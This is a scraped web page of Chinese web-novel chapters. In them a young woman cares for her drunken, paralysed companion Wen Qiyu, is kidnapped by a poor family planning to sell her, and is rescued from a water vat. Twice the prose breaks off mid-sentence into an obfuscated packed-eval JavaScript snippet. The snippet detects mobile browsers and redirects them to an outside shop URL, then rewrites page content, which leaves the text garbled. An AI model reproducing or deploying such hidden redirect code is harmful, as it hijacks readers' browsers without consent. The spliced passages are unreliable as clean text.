她顾不得其他,赶紧跑进屋里:“这是怎么回事?他喝酒了?” 阿力见她来了,仿佛抓住救命稻草一般,急忙求她:“少爷不能喝酒的,你快劝劝少爷吧!” “他喝了多少?” 阿力举起手中的酒坛,又指着地上另一个酒坛,崩溃道:“都喝完了。” “阿力,酒呢?再去,再去……取……一坛来。”床上的人此时已经醉得连话都说不清了,还在指挥阿力去取酒。他的右手正虚握着一张软垫,正是叶之萤缝的那张。 “你看,都已经喝了这么多了,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991702|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次再喝吧,好吗?”叶之萤蹲在床边,摸着他绯红的脸,语气也尽量温柔。这些日子,二人总是针尖对麦芒,她还没有这样温柔的与他说过话。 当她的手抚上那张脸时,温其玉迷离的眼中闪过一丝困惑,似乎是不认识她。 “你不认识我了?我是叶之萤啊。” “叶之萤?”听到她的话,那双迷离的眸子一下子有了神采,目光在她的脸上激动地飞扬。 但是,那双眼睛很快又失去了光泽,刚刚扬起的嘴角也重新垂了下去。 “你怎么了?”她以为他是哪里不舒服,“是不是头晕?还是想吐?” “你怎么来了?”他哑声问道。 “我一直在这儿啊。” “不对,叶姑娘……已经……和若飞走了。” 她心里一颤。 “我没有走,我就在这儿。”她抓住他的右手,好让眼前的人清楚地感受到她的存在。 谁知刚刚碰到他的手背,他的手一抖,那张软垫就从指间掉了出来。他想重新抓起软垫,可他太心急,再加上又饮了酒,那只本就不灵活的手在垫子上东倒西歪地蹭了好几次都抓不起。他急得连牙齿都在使劲,手却越抖越厉害。 眼看他要发脾气,叶之萤忙拿起垫子,想帮他放回手中。谁知,耳边却突然传来他惊慌的声音:“不要拿走!不要拿走!不要!” 叶之萤的手顿在空中,抬眼一看,那双布满雾气的眼中满是惊慌和哀求。 本就痛着的心被这眼神刺得更疼了,眼泪夺眶而出,她紧咬双唇,将那张缝得乱七八糟的软垫重新放回他手中。他立刻像如获至宝般用抖动的手指按住它,小心地护着他的“宝贝”。 叶之萤又握起他那只更加无力的左手,贴住自己的脸颊,温柔地哄他:“放心!我不拿,我帮你放好。” “你哭了?”温其玉摸到了她脸上那一片冰凉,慌慌张张想为她擦眼泪,可在酒精的作用下,那只手却比平时更加无力,也更不受控制,以至于指尖刚在她脸颊颤巍巍地摩挲了几下,手指便又不听话地抽搐蜷缩起来。 他看着那只没用的手,神情逐渐愤怒,叶之萤赶紧安慰他:“没事的没事的,你只是因为喝了酒,明早酒醒了就能恢复的。” 他突然笑了起来,眼神却极尽哀伤。 “恢复不了了。”声音是那么绝望。 叶之萤拼命摇头:“谁说恢复不了了?你一定能好的!就算好不了,我也会永远陪着你的!” “你早晚会走的……早晚会走的……早晚会走的……” “不会!我不会走的!” 他好像没有听见她说的话,只是绝望地摇着头,不断地重复着那句话,而那不受控制的身体也不断地向右边倒,眼看就快摔下床了,叶之萤将他的身体重新扳正,对他承诺道:“温其玉,你听着,我永远也不走,垫子也不拿走!” 温其玉低头看了一眼扶着自己身体的那双手,突然神色一暗:“你走!” “不,我不走。”她拒绝。 “你留在我……我身旁……不会幸福的!你看,我尚且连坐……都坐不好,更不能……在危险到来时……护住你,如此这般的我,如何配得上世间最美好的你?”泪水从他锐利的眼角流出,他明明笑着,却是那么悲凉。 叶之萤身体猛地一颤,那日故意气他的话,他竟然全听进去了。 酒精给了他莫大的勇气,让他终于说出了那些藏在心底不愿示人的话。而讽刺的是,即使已经酩酊大醉、神志不清,他还是没有忘记赶她走…… 80. 伪装之下 叶之萤轻抚着他的脸颊,笑着为他宽心:“傻瓜,不是这样的!我现在就很幸福啊,我所有的幸福都是你给的!你把我照顾得这么好,这世间没有人比你更有资格爱我了!” 他却像是没听见她的安慰,只自顾自地说:“若飞是个很好的选择,他单纯、有趣、家……世清白、身体健康。他善骑马、射箭、画画、弹琴,你若是与他生活在一起,定会活得轻松、惬意、快乐。他能抱你,背你,能在天凉时为你披上外衣,能……在遇到危险时……第一时间护着你。” 他居然替关若飞说起了媒:“你们可以……挽手结伴出行,去泛舟、饮茶、踏青。不会再有人嘲笑你、更不会有……人恶意揣测你,在旁人眼中,你们亦会是……很般配的一对。很好!真的很好!” 说完,他仿佛是由衷觉得自己的安排很合适,竟心满意足地笑了。 而后,他又喃喃自语起来:“你恐怕还不知道吧,若飞的骑术射术,弹琴画画,都是我教的。” 说这话时,那原本被忧伤遮挡得黯淡无光的双眸亦变得明亮,目光中透着不加掩饰的得意,飞扬的目光一直向前延伸,再延伸,仿佛去到了那许久以前的时光。他靠床而坐,安静地沉浸在旧时光中,一滴泪从他的眼中流出,顺着那依旧飞扬的嘴角滑落下来。 这是叶之萤第一次见到温其玉如此绝望,即使她与他相见时已是他生命最艰难之时,他也依旧坚强,虽然身体不便,却始终优雅从容。 对如今的温其玉来说,一切安慰的话都是苍白无力的。即使拥有再强大的内心,面对这样一个只能日复一日没有尊严的活着、吃喝拉撒都要假手于人的自己,谁又能真的甘心呢?若不是因为这样的身体,他又怎会不敢对所爱之人表达情愫,甚至始终羞于与思念他的亲人相见呢? 叶之萤的脸颊不知何时也已被泪水浸湿。此时,她不想再说任何毫无意义的心灵鸡汤,而是将他搂入怀中,不断地抚摸着他的后背:“想哭就哭吧!把这些日子以来,所有的痛苦都哭出来吧。” 怀里那麻木的身体早已被病痛折磨得不成样子,后背没有一点肉,骨头一节一节从毫无生气的皮肤里顶出来,每摸一下,叶之萤心里的那根神经就狠揪一下。 他真的哭了,仿佛一个受了极大委屈的孩子,在她怀里不断地抽泣。许久之后,抽泣的频率渐渐拉长,呼吸也开始变得绵长。 “温其玉?”她试探着轻唤他的名字,没有回应。 又抱着他睡了一阵,确定怀里的人已经睡安稳了,她才慢慢将他放回床上。他的眼皮已被泪水浸润,在烛光的映衬下,看起来亮晶晶的,像是浮着一层璀璨的星光。 她用袖子轻轻为他拭去脸上的泪水,为他盖好被子,将那软垫放在他怀里,又在床边坐着守了他一阵,直到东方泛白,才在阿力的催促下回了房。 “别跟他说我来过。”她如今已经很了解温其玉了,他一定不希望自己这幅样子被她看到。 “可是……”阿力似乎有些为难。 “别怕,他都醉成这样了,起来肯定什么都忘了!” 等叶之萤再睁眼时,已经是午后了。她一把推开窗户,一束刺眼的日光便霸道地照进她迷糊的双眼,她赶紧将手挡在眼前,又用袖子随便揉了揉眼睛,被光线刺激出的眼泪全被揉匀在了眼皮上,眼皮一下子变得潮潮的。 她突然望着那已粘上斑驳泪水的袖口发起了呆,昨夜,自己就是用它替那个人擦去了脸上的泪痕。 不知道他酒醒了没有?昨晚喝了那么多酒,身体不会有什么问题吧? 她站在窗边候着阿力,通常这个时间,他都会把午饭用的餐具端到厨房。 可眼看湖中的野鸭在水中自在地游了一阵,随后一头扎进水中美美地洗了个澡,又用嘴巴将身上漂亮的绒毛一根根捋顺,阿力都没从她窗前路过。 不行,得过去看看! 温其玉的房门紧闭着,她正在想怎么才能神不知鬼不觉地叫阿力出来,房门就毫无征兆地打开了…… 她也不管出来的是谁,先赶紧伸出食指做了个噤声的动作,想让对面的人不要声张。 可阿力的嘴实在太快,她的动作还没做完,他就已经开口了:“诶,叶小姐,你怎么站在门口?” 他的声音格外大,别说屋里的人了,恐怕大门外面的人都能听见…… 她急忙探头看了眼屋内,好在温其玉正背对着她躺着,并没有看她。这个时间,他正常应该在做康复训练才对。 虽然带着一肚子的担忧,还是得为刚才的问题先找个合理的理由:“哦,我……我饿了,想问问你有什么吃的,刚走到门口,还没来得及敲门,门就自己开了。” “给你留着饭呢,想着你昨夜睡得晚,午饭就没……” “嘘!嘘!嘘!”她手忙脚乱地示意他别再说了,要露馅了,“我……我昨晚确实睡得有点晚,还不是因为屋里太热了嘛!不过你又是怎么知道的?难道我开窗户的声音你都能听到?” 这块榆木疙瘩终于反应过来自己说错话了,连连点头道:“是啊,你昨晚开窗的声音实在太大,踢里哐啷的,想听不见都难!” 叶之萤知道他是想弥补刚才的失言,但她房里窗户又没坏,显然不可能有踢里哐啷的声音,形容得如此夸张,演技太烂!和温其玉这样演戏不着痕迹的“戏骨”在一起这么久,怎么就没学会一点儿呢…… “跟我去厨房看看还有什么吃的吧!”她适时打断了他。 “他怎么样?身体没有大碍吧?”刚穿过后院的拱门,叶之萤就急不可耐地问起温其玉的情况。 阿力连连叹气:“今晨你回房没多久,少爷便浑身痉挛,疼醒了,按摩了半个多时辰才好了一些,期间又吐又……等全部收拾好,天已大亮,少爷便没有再睡。现下还正头疼呢,不仅浑身无力,右手也不受控制,连坐起来都困难。” “有没有请林大夫过来看看?” 阿力摇头:“少爷不让,不过林大夫之前说过,喝酒虽然对少爷身体有影响,但若只是一次,待酒劲儿完全散去,还是能恢复的。只是千万不能再让少爷喝了,喝得多了,我怕不知道哪次可能就……真的伤了身。” 一听能恢复,叶之萤那颗悬着的心也落了下去,她宽慰阿力:“其实昨晚的事,对他来讲也不一定不好,虽然饮酒伤身,但心中的委屈也不能一直憋着,总要找个途径宣泄出来。对了,昨晚的事,他还记得吗?” “少爷今早问我你昨夜有没有到他房里。” “你怎么说的?” “我自然是说没有。” “那他什么反应?” “他的表情很难形容,先是有些诧异,之后又有些失落,再然后又有些庆幸,总之……就是五味杂陈。” 说话间,二人已经进了厨房,灶台上空空如也,一盘菜也没有…… “不是说给我留饭了吗?饭呢?” “是啊,我留的饭呢?”阿力显然也懵了,拉住厨房里一个正在洗碗的小丫头问道。 那小丫头抬起头一脸茫然:“是刚才放在灶台上的那些饭菜吗?” 阿力点头。 “我以为那是没吃完的剩饭菜,就……就……”小丫头被问得有些慌张,眼睛不自主地瞥着灶台下面。 阿力顺着她的目光往下看,发现了一个有些发黑的木质食盒,表情立刻严肃起来:“少爷不许私藏食物带出宅子,你应该知道吧?” 小丫头一听见“少爷”两个字,吓得脸都白了,连忙跑过来求饶:“知道知道!求您别将此事告诉少爷,我马上倒掉,不会带出去的!” 说着,就打开食盒,将里面的饭菜全部倒了。 “你带这些剩饭剩菜干什么呢?”叶之萤看她可怜巴巴的样子,于心不忍,蹲下身去问她。 她一下就哭了:“我弟弟妹妹都生了很重的病,爹娘为了省钱给他们请大夫,连饭都不舍得吃,昨天爹爹在做农活时饿得晕倒了,所以……我就想带点吃的回去给他们吃。” “你叫什么名字?”阿力听她有难处,也蹲了下来。 “我叫玲妹。”小丫头哭着回答。 “什么时候来的?” “上个月刚来。” “家中有困难,为何不找少爷说?” “我……我不敢。”一提到温其 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“那些饭菜是从温宅出去的,万一有人吃了这些东西出了问题,中毒了,或者更有甚者……死了,岂不是自找麻烦?虽说大将军救过许多人,但也同样杀过许多人,到现在,阿尔钦那些人都恨不得他去死,不得不防啊!” “所以是怕有心人拿着这些饭菜去做文章?”没想到温其玉如今已成废人一个,那些敌人还如此痛恨他,又或者说,还如此惧怕他! 正好奇着,二人就又回到了温其玉房门外。叶之萤探头往里张望,他依然像刚才那样背身躺着。当然,只要没人帮他,他便会一直以那样的姿势躺着,躺到天荒地老…… 她蹑手蹑脚走到桌前,示意阿力和她一起将饭菜端走,并尽量不要惊动床上的人。谁知,刚端起两个盘子,床上的人就开口了:“饭菜冷了,去热一下。” “是!”阿力急忙回答。对于温其玉的命令,他总是不假思索地说“是”。 说完,便端着盘子去厨房了。 这场面完全在叶之萤计划之外。她站在桌边,看着温其玉的背影,迟迟不知道怎么办才好。 “那个,我跟他一起去!”说完,就抬脚往门外走去。 “你昨晚……没睡好吗?”他的声音有些发虚。 她的脚步在门口顿住:“嗯,房里太热了,睡得不太好。” “只是这样?”他又问。 “嗯?什么意思?”她假装听不懂他的话。 “什么时辰睡下的?”他又换了种问法。 “可能……丑时左右吧,一直忽睡忽醒的,快天亮才彻底睡着。” “你有没有……”他欲言又止。 “有没有什么?”她继续装迷茫。 “没事,你回房吧。”他决定放弃追问。 “干嘛欲言又止的,不会是梦到我了吧?”这回轮到叶之萤试探了。 “我……没有。”他矢口否认,语气却无比心虚。 “那就是有喽?”她故意逗他。 “没有!”不等话音落下,他就急急忙忙否认。 “没有就没有嘛,激动什么!” 他自知失态,不再作声。 “你今天怎么了?是不是哪里不舒服?”她装作什么也不知道,故意问他。 温其玉的身体明显起伏了一下,而后放松下来。相信他已经彻底认为自己脑海中的那些画面只是一场梦而已。 “无碍,休息一下就好了。” “真没事吗?” “嗯。” “那我回房了,你好好休息。” “纸笔墨砚都在书架上,你自己取吧。”他突然说了这么一句。 “嗯?”叶之萤顺着他的话看了眼门口的书架,觉得他的话有些莫名其妙。 “你不是要给若飞写信吗?” …… “那个,就不挪来挪去的了,等哪天闲了就在这儿写吧。” “随意。”吐出这两个字后,他再没有说话。 叶之萤也火速溜之大吉。 81. 十两银子 下午,阿力提了一大桶冰块到她房里。 “这是干什么?”她指着冰桶有些好奇。 “你不是说夜里热得睡不着吗?用它给你房间降降温。” “太好了!谢谢啊!” “是少爷吩咐的!” “那替我谢谢你家少爷!”她手里把玩着冰块儿,又想起了温其玉,“他房里好像也挺热的,是不是也得放些冰块儿降降温?” “冰块太寒,少爷身体受不了的。” “那他不热吗?”昨晚抱着他时,她发现他身下已经被汗浸得湿透了,他自己又不能动,肯定很不舒服。 “自然也热,今年气候反常,黎城比往年要热不少,只好每日多为少爷擦身降温了。” “那就辛苦你们了!对了,有薄荷和金银花吗?”薄荷有清凉舒爽的功效,而金银花可以清热解毒,这两种东西泡在一起,用水擦身,能令皮肤凉爽舒服不少。 阿力摇头:“你要它们何用?” “泡澡用啊,没有的话……也不急,你快去忙吧,这两天辛苦你了,如果有什么需要我帮忙的一定要告诉我!” 自那日荣祥推倒她令温其玉发怒后,这两日都没有见到荣祥了,偷偷问阿力才知道,原来是受了杖刑,还在休养。 那日听温其玉说“领罚”,叶之萤还在猜测会是什么处罚,心想大不了就是罚钱之类的,还想着到时替荣祥把罚的钱补上,却没想到竟是实实在在□□上的刑罚。 荣祥对他忠心又尽责,他也狠得下心,难怪府中上上下下一见到或提到他都那么惶恐…… 那个叫“玲妹”的小姑娘,不会也要受此刑罚吧? 想到这里,她急忙偷跑去下人院内查看情况。 没看到玲妹,却先碰见了正在晾晒衣物的柳儿。 “叶小姐,你怎么来了?”一看到她,柳儿就停下了手中的工作,恭敬地往她这边走来。 她赶紧伸手拦住了她:“你忙你的,我就是来看看。那个,玲妹在吗?” “玲妹回家了,少爷让她不要再来温宅了。您找她有事?” 这么小的一个错误,就不让人家来了? “这么冷酷啊?”她没忍住嘟囔了一句。 “您说什么?” “哦,我说,她家在哪儿你知道吗?” “具体不知道,但是听她说过,好像离林大夫的医馆不远,院中有两颗大枣树。” 柳儿一边说着,一边从盆中拿出一件衣服。先是使劲抖了几下,待衣服平整之后,才晾在绳子上。晾完后,还不忘用手使劲扥几下,直到确定这件衣服已经没有一个褶了,才又从脚边的木盆中取出另一件衣服。 果然是温其玉看重的人,连晾衣服都这么一丝不苟! 叶之萤不好意思再打扰她,就先回去了。回去后,她取了些银子,本打算出门一趟,阿力却先来敲门了。 “怎么了?是不是他有事?”看着眼前人急得满头大汗的样子,她有了种不祥的预感。 “叶小姐,少爷身上突然起了好多热疹,奇痒难忍,这会儿房中只有我一人伺候,实在忙不过来,他又不让其他下人近身,我只好来麻烦你了。” 叶之萤一听这话,心一下揪了起来,放下手里的银子就要往隔壁冲。 阿力一把拉住她:“那些红疹奇痒难忍,再加上少爷昨日喝了酒,这会儿又开始全身痉挛,我实在走不开,麻烦你去西院找李管家,让他安排人去请林大夫来,再安排人多接些温热的水,送到少爷房门口。” “好的好的,我知道了!我这就去安排!你快去看着他吧。” 等安排好一切再次回到温其玉房中时,温其玉正痛苦地躺在床上,青筋暴起,眉头紧锁,牙关紧咬,仿佛在用全部的意志力与身体的难受抗衡。 他没有盖被子,身上那件单薄的中衣也大敞着,整个身体完全暴露在她眼前。脖子、前胸、腰迹布满了恐怖的红疹,双手呈爪状置于胸前,瘫软无力的双腿也绷得很直,看起来异常有力,全然不似平日里软绵绵的样子。阿力正在用力帮他揉捏双腿,还要不时替他揉搓身上红痒的地方,早已急得满头大汗。 “出……去!”床上的人看到她进了屋,用尽力气从牙缝中挤出了两个字。 “阿力一个人不行的,让我来帮他吧?” 她正要上前,却又被他狠狠呵斥:“走!” 她不敢再让他情绪波动,便听他的话退出了房间,在屋外焦急地徘徊。不一会儿,林大夫终于赶来了,在房中待了很久,直到再次从屋里出来,她才急忙迎上去询问情况。 “叶小姐莫担心,痉挛已经控制,日后切莫再让他饮酒。另外,身上的热疹定要小心护理,那热疹奇痒难忍,他自己又不能挠不能动,比常人更要痛苦许多倍,再不能让他热着了。” “知道了知道了!您那里有薄荷和金银花吗?用它们泡的水擦洗身上,应该对缓解热疹有帮助吧?” “自然有帮助,只是这两种草药府里恰好都没有,不如派人同我一起到家中去取一些吧。” “那太好了,那就让……算了,就我跟您去吧!”她快速跑回房间拿了十两银子,就跟着林大夫走了。 医馆并不远,从温宅步行过去只要十分钟左右。取上药之后,她先快步往种着两颗大枣树的那户人家走去。 那是玲妹的家,中午听说了她家中的情况,叶之萤当时便动了恻隐之心,后来又听说她丢了工作,真是屋漏偏逢连夜雨。所以下午那会儿,她本是要出来为温其玉买药,再来给玲妹送些救命钱的,温其玉突然发病却绊住了她…… 这会儿她之所以亲自跟着林大夫来取药,也是想顺路赶紧把银子给玲妹家送去。毕竟病来如山倒,若真是急症,那是一刻也耽搁不了的。 随着“咚咚咚”的敲门声划破寂静的空气,叶之萤浑身汗毛一下子全竖了起来。她站在原地紧张地发出粗重的呼吸声,很快,屋里就传来了一个男人的声音:“谁?” “请问是玲妹家吗?我找玲妹。”漆黑冷清的夜里,哪怕是她自己的声音,听起来都显得格外恐怖。 屋子里又没了声音,叶之萤等了很久,直到打算鼓起勇气再叫一声时,一个瘦小单薄的身影才从屋子里走了出来。 “玲妹?”她又试着叫了一声。 “叶小姐?”小姑娘明显吃了一惊,“这么晚了,您怎么来了?” “我出来取药。”她扬了扬手中的药包,走到栅栏旁,“白天在温宅听你讲到家里的事,我也没什么能帮得上你的,就过来给你送十两银子,希望能解你家中的燃眉之急,你快收下!” “这怎么使得啊叶小姐!您的心意我领了,但这银两我万万不能收的!”玲妹从院里一路小跑到栅栏旁,听她是来送钱的,执意不肯收。 “别见外,收下吧!”她把包袱从栅栏外递了进去。 “不必了,少爷已经给过我银子了。”玲妹的肢体有些不自然的僵硬,僵硬中似乎还带着恐惧和焦急。 夜晚太黑,叶之萤看不清玲妹的表情,但不知为何,她总觉得和中午相比,此时的玲妹有种说不上来的异样。这种异样让她感到莫名的惊悚,大脑立刻拉响了警报:速速离开这里! 她直接将银子扔在了玲妹脚边:“把银子收好,我先走了。” 说完,抬起腿就准备跑,却在抬腿的一瞬间发现脚下有两个影子。 其中一个并不是她自己的! 她身上的汗毛全部竖了起来,下一秒钟,头就被什么东西套住了。很快,她就被人扛了起来。 “你是谁?要干什么?”她在那人肩上拼命挣扎。 “不想死就闭上嘴!”是个男人的声音。 就是刚才在屋里问她是谁的那个男人! “救命!”她大声吼叫,才叫了一声,又有个人隔着袋子用手捂上了她的嘴。那手不大,软软的,力道也不大,是个女孩的手。 是玲妹的手! 接着,那男人在她脖子侧面使劲儿敲了一下,她便什么也不知道了。 再次醒来时,她发现自己在一个安静的屋子里,四肢被麻绳结结实实捆住,双眼也被蒙得透不过光,嘴里还塞了一大块布,又用一根布条绕头缠住,即使她使劲用舌头顶也顶不出去。 “知道为何抓你回来吗?”还是那个男人,他的声音并不浑厚,也不好听,甚至还有点憨。 她摇头。 “因为你长得好看。” 什么?他想干嘛?难道是…… 她拼命使劲,想用身体撑开绳子。 “长得好看才能卖个好价钱,人联系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991704|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了吗?”他像是在问其他人。 “后天就来接,一手交钱一手交货。”这回是一个年轻的女声,声音不大,语气中透露着掩饰不住的害怕。 他们居然想卖了她换钱? 想要钱还不简单,温其玉有的是钱啊,不管要多少钱,他都一定会给的!快把我嘴里的破布取掉,我们好好坐下来谈谈赎金价钱啊! 她有一肚子话却说不出来,只能发出“嗯……嗯……嗯……”的声音,他们自然听不明白。 “我们这样做,万一被官府发现了,可怎么办啊?要不,趁还没人发现,我们放了她,再想别的办法吧?”没想到,女人竟替她求起了情。 叶之萤急忙点头附和,心中燃起了一丝希望,或许这男人会突然良心发现。 “绝对不行,眼下已经走投无路,人已经绑了,就算现在放了她,那姓温的也不会放过我们的!况且她已经知道我们是谁了,放了她,我们一家人都完了!眼下已经顾不了那么多了,只有银子才是最重要的,你莫要再妇人之仁!”男人的回答没有半分犹豫,并没有出现她幻想中的良心发现。 “可是……她也是无辜的啊……”女人的声音听起来充满了不忍。 叶之萤脑子里又浮现出玲妹异样的表情。 他们二人和玲妹究竟有什么关系?是玲妹的父母吗? “哼,她无辜?若不是她……”那男人正想再说什么,却被几声婴儿的哼唧声打断。原来这屋里还有个孩子? 很快,轻声的哼唧就变成了高声的哭闹。 那女子从她身边抱起了孩子,一边摇晃一边柔声哄着:“铭儿乖,娘在呢!不哭啊!” 哄了很久,孩子都不见好,反而更加撕心裂肺地哭了起来。 “这怎么办?这怎么办?铭儿身上越发烫了,月儿也开始神志不清了,你快想想办法吧!”女人也急得哭了起来。 叶之萤并未听到这房里还有另一个孩子的声音,结合女人说的话,她猜另一个孩子恐怕病得更重。 这两个孩子应该就是玲妹口中生了病的弟弟妹妹吧? 那男人吼道:“大夫都没办法,我又能有何法子?” 叶之萤又想到玲妹刚刚说的话,温其玉已经给她钱了,可既然都有钱看病了,他们为何还要绑自己? 这出绑架应该不是提前计划,而是临时起意。现在想来,她敲门时屋里许久没有回应,恐怕就是那时开始计划绑架一事的。 可听他们的意思,连买家都已经联系好了,自己才刚刚被他们抓来,怎么会这么快就有了买家? 自己来这里的这些日子,除了温宅的人,并没有和谁有过交集,到底是谁一早就盯上了自己? “嗯……嗯……嗯……”先放了我,有话好商量啊! “别出声,安静点!”男人恶狠狠警告她。 叶之萤有些害怕,生怕他对自己做出什么不好的事情,只好听话地闭上了嘴,脑子里一堆问题一股脑全都冒了出来…… 自己刚才晕了多久?他们这是把自己带到了哪里?这里离温宅有多远? 温其玉恐怕已经发现了吧?他一定急得要命!可是他才刚发完病,还在被满身的热疹折磨,如此虚弱的他,若是再撑着出门,恐怕要大病一场了…… 他之前曾多次千叮万嘱自己不要一个人出门,自己偏偏不听! 又要害他受累了! 他能找到自己吗?叶之萤心里不免又急了起来,但很快,她就又有了信心,她相信温其玉,哪怕翻遍整个黎城,他也一定会找到她的! 刚刚挣扎之时,她偷偷踢掉了自己的一只鞋在地上作为记号,还扔掉了手中提的草药。那么显眼的东西掉在地上,他们肯定能发现的!以温其玉的聪明敏锐,相信过不了多久,一定能找来的! 想到这里,叶之萤心安了不少。只是耳边一直传来孩子的哭声和年轻女子焦虑的叹气声,她因此没办法聚精会神听外面的动静,这让她难免心烦意乱。 好在夜静声稀,没有白天嘈杂的噪声影响,稍微一点声响都能轻易被人耳捕获,于是她耐着性子、紧绷着神经,竖起耳朵尽量去听。 等待的时间无比漫长,直到眼前逐渐有了亮光,外面也开始有了说话声和脚步声,天终于亮了,可她并没有等到找她的人…… 82. 陷入绝境 一夜未眠,叶之萤已经疲惫不堪,脑子逐渐发木,即使眼睛被布紧紧缠着,也阻止不了眼皮的下坠。 叶之萤,生死攸关,不能睡啊!她拼命调动肌肉撑住眼皮,还是很快睡了过去。 不知多久以后,她又被孩子的哭闹声吵醒。从昨晚开始,那婴儿就断断续续地哭个不停,但这次不同,因为这次是另一个孩子。 “月儿,你醒啦!”孩子的母亲激动地叫了一声,从屋子另一头跑了过来。 听这年轻母亲的语气,根本没有一点紧张,想必在她睡着期间也并没有人在这附近找过她。 “娘!我难受!”是个女孩,声音极其虚弱,已经接近于气声了,却还在挣扎着起身。 突然,她听到“哇”的一声,紧接着,腿上感觉到了一片湿热,然后,又闻到一股酸腐的味道…… 这是吐她腿上了?! 叶之萤浑身的肌肉顷刻间便收缩了起来,憋着气不敢呼吸,但还是忍不住干呕了几下。她不停地扭动着身体,发出“嗯……嗯……”的声音,想让那女人帮她擦一下,但是很显然,那女人眼里只有自己的孩子,根本顾不上她的死活。 那片被呕吐物沾染的地方,皮肤逐渐潮热。而后,热量又渐渐在皮肤上化开,散去,最后变成一片潮湿的冰凉…… 叶之萤不断地干呕,连胃酸都呕了出来。这一刻,她对自己的未来彻底绝望了。根本不会有人来救她! “娘,她是谁?”小姑娘这才注意到身边的人。 “她是……是……是爹爹的一个远方亲戚,路过这里,便来住一晚,今日就走了。” 今天?不是说明天吗,难道改时间了? 糟糕,如果今天就送她走,那留给温其玉找她的时间岂不是更少了?? “她为何这样打扮?”小姑娘对叶之萤很是好奇。 看来这里应该只有这一间屋子,实在没地儿藏她,否则也不会把她和孩子们放在一起。 “月儿,娘熬了米汤,你喝一点吧?“许是不知道该怎么回答,女人干脆岔开了话题。 “娘,我的腿好像动不了了?”女孩带着哭腔说道。 女人的声音哽咽起来:“胡说,你就是病得厉害,太虚弱了,吃了大夫开的药,会好的!来,娘喂你喝米汤。” “娘,我不喝米汤,也不治病了,弟弟也病了,先治弟弟吧。” “都治,你和铭儿都要治好!”女人已经泣不成声,“月儿,再睡会儿吧,睡一觉起来就有药吃了!” 很快,小姑娘便又昏睡过去了。焦躁和恐惧全部涌上叶之萤心头,留给温其玉的时间不多了…… 正发着愁,就听见门被撞开的声音。 “南越的人一会儿就来了。”是那个男人! 叶之萤记得温其玉跟她讲过,南越是邺国的邻国之一,和黎城接壤,那是个极其贫穷的国家,很多南越人因为在本国生活不下去便跑来黎城,平日里街上那些乞讨的、抢劫的,还有游手好闲的小混混多半都是南越人。 他们莫不是要把自己卖到南越去? “放……开……我……”她又开始挣扎。 “省省力气,别白费功夫了!原本是明日送你走的,不曾想那温宅的人寻你寻得紧,实在是留不得你了。” 原来温其玉一直在找她!可黎城就这么大,她为什么一点也听不到外面有人寻她的声音?不应该啊! 除非这里已经不是黎城了! 天呐,她一下子绝望了,天大地大,温其玉要怎么找才能找得到她啊? “你既如此反抗,只好委屈你一会儿了。” 叶之萤听到他的脚步声在向自己靠近,身体忙向后缩,却还是被他轻而易举地抓住。 算了,事已至此,先顺从保命吧!大不了等到了南越,再想办法联系温其玉,或者自己逃回来。活着才有希望! 她不再挣扎,闭上眼睛,任由他摆布。 就在此时,外面传来了窸窸窣窣的脚步声! 还有木轮在地上辗轧发出的声音! 那声音叶之萤再熟悉不过了! 她全身上下所有细胞都在这一刻高涨起来,拼了命地又踢又叫。 男人赶紧捂住她的嘴,不准她出声。 “有人来了,怎么办?”女子惶恐地问。 “别慌!”男人的声音也在发抖。 叶之萤一刻不停地挣扎着,用脚猛踢旁边的墙,想办法制造出尽可能大的声响,给外面的人传递信号。 “别动!”男人凶狠地冲她低吼。 她完全不理他,继续用喉咙吼出声响,因为她心知肚明,这是自救的最后机会了! 突然,她被男人一把扛起,塞进了一个大水缸里! 缸里全是水,她的头被那人使劲按进水里,之后,那人又在缸上加了盖,还在盖子上压了重物,叶之萤在缸里使劲顶盖都弄不开。 她就这样彻底被封死在灌满了水的大缸里。手脚被捆着不得挣扎;耳朵里全是“咕咚咕咚”的水泡声;鼻子也被水捂得呼吸不了。嘴里的那块布很快就吸饱了水,那水吐不出去,一部分被她匆忙咽进了胃里,一部分顺着气管呛到了肺里,还有一部分涌上鼻腔被呼了出去,但很快就有更多的水又被吸了进来…… 她难受得要死,但眼下还不到死的时候。自己才刚开始新的生命,许多事都还没有成功,许多愿望都还没有实现,绝对不能死在这里! 虽然即将窒息,但残存的理智告诉她,他们之所以迟迟不把自己从水缸里放出去,说明找她的人还没走远! 必须要想到办法给外面的人发出有用的信号才行! 她试着用身体去撞缸体,可水有浮力,再加上缸内空间有限,根本撞不出一点声音。 这时,她发现水面和木盖之间有一道两三厘米的空气层,便赶紧让鼻孔露在空气层猛地吸了几口气,迷糊的大脑重新清醒,她想到了了一个办法! 她把身体全部沉入缸底,然后两脚使劲向下一蹬,与此同时身体使全力朝上一跃,头就重重撞在了木盖上。随着“哐啷”一声巨响,她两眼一黑,而后眼前出现了一堆跳跃的金星。 当人被逼至绝境时,为了活下去,身体所爆发出来的求生欲足以斩杀一切困难。 她又憋着气沉到缸底,再使劲向上一顶,“哐啷”一声,眼前又是一堆金花。 正准备来第三下,头顶的木盖被人掀开了。 叶之萤眼睛上的布条也被人卸掉,她抬头一望,一张足以令她痛哭流涕的脸出现在面前——是阿力! “少爷,叶小姐在里面!”阿力赶紧将她抱出了水缸。 